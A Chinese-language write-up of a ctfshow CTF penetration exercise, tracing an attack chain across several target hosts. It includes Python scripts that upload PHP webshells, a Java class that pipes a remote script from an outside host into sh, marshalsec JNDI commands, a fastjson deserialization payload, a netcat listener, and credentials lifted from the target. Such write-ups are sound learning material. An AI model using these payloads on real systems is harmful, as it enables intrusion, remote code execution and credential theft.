2023年3月10日15时ctfshow举办的线上渗透赛,当时没有做出来,后期根据官方wp,做一下总结梳理
渗透域名:https://i.am.ctfer.com
在主页下方查看帮助点开在最下方发现一条疑似作者的信息
去github搜索一下,果然发现该站的源代码
在Anonymous-Chat-Room/client/photo_upload.php 中发现了文件上传漏洞
利用这个漏洞,创建一句话木马并,编写python脚本
import requestsurl ="https://i.am.ctfer.com/photo_upload.php"files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}response = requests.post(url=url,files=files)print(response.text)
运行脚本,上传成功,并得到上传后的文件名
使用hackbar,post一个1=phpinfo();脚本可以被成功执行
使用蚁剑连接这个shell
成功连接
在/var/www/html/login.php 中,发现一个敏感信息,是一个邮箱和一个密码
使用hacker_ctfshow@163.com / Hacker_ctfsh0w 去login.php登录一下(比赛当天因为各种原因,login.php未开放,无法访问)登陆到了网站后台管理页面,感觉可以利用的地方是上传头像的点,因为已经拿到了webshell,所以没有再上传文件。
去登陆邮箱hacker_ctfshow@163.com试试看,密码Hacker_ctfsh0w
登录成功,收件箱有一封入职通知的邮件,该邮件是加密的,尝试弱口令密码123456发现成功解密邮件内容,内容如下
根据邮件中的开发地址和登录key,登录到开发环境中,登陆后,发现xblog应用源码
利用vscode的终端功能,直接getshell提权,拿下该服务器
在www/xblog/c/t.php中$d存在逻辑问题,没有过滤带入了php文件,可以写马上传文件
邮件中还有其他信息,继续开发任务对应的测试版在 https://blog.ctfer.com
先登录/a/?log
根据indexphp中的实例,使用admin:123456成功登录并拿到cookie
参考wp编写的python脚本,修改cookie值并运行
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-09 11:05:32
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-09 11:38:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.comimport requestsurl = "https://blog.ctfer.com/c/t.php"cookie={"PHPSESSID":"7ed6c788655d7c4a7a397d41331b5666"
}data={"dat":'";eval($_POST[1]);?>',"title":"1","content":"%20",
}response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)print(response.text)
回显得到文件名{"result":"ok","pid":1}
木马地址为/p/1.php
使用剑蚁连接
连接后打开终端ip addr show
使用ping联通测试,发现存活主机192.168.102.2
对102.2主机的开放端口进行测试,发现存在8090的fastjson端口
使用fastjson漏洞来实现rce,因为我没有vps,自己实验操作就到此为止了,下面的部分是ctfshow官方的wp
首先生成恶意class
public class ctfshow {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","curl https://your-shell.com/43.154.107.226:9999 |sh"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
vps挂恶意class
启动简单http服务
python3 -m http.server 3306
启动class
java -cp /home/ctfshow/tmp/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps地址:3306/#ctfshow.class" 3389
开启监听端口
nc -lvvnp 9999
x.json文件
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps地址:3389/Exploit","autoCommit":true}
}
a.sh文件
curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json
使用curl发送json包
vps成功获得反弹shell
序号 | 资产类型 | 域名 | 内网IP | 权限 | 应用 |
1 | Linux | i.am.ctfer.com | 172.17.0.2/16 | www-data | 匿名聊天应用 |
2 | 敏感信息 | mail.163.com | / | 普通权限 | 可收发邮件 |
3 | Linux | open.ctfer.com | / | root | 开发环境 |
4 | Linux | blog.ctfer.com | 192.168.102.3 | www-data | 开发版blog应用 |
5 | Linux | / | 192.168.102.2 | root | fastjson |
共计5个场景,4台服务器,涉及4个域名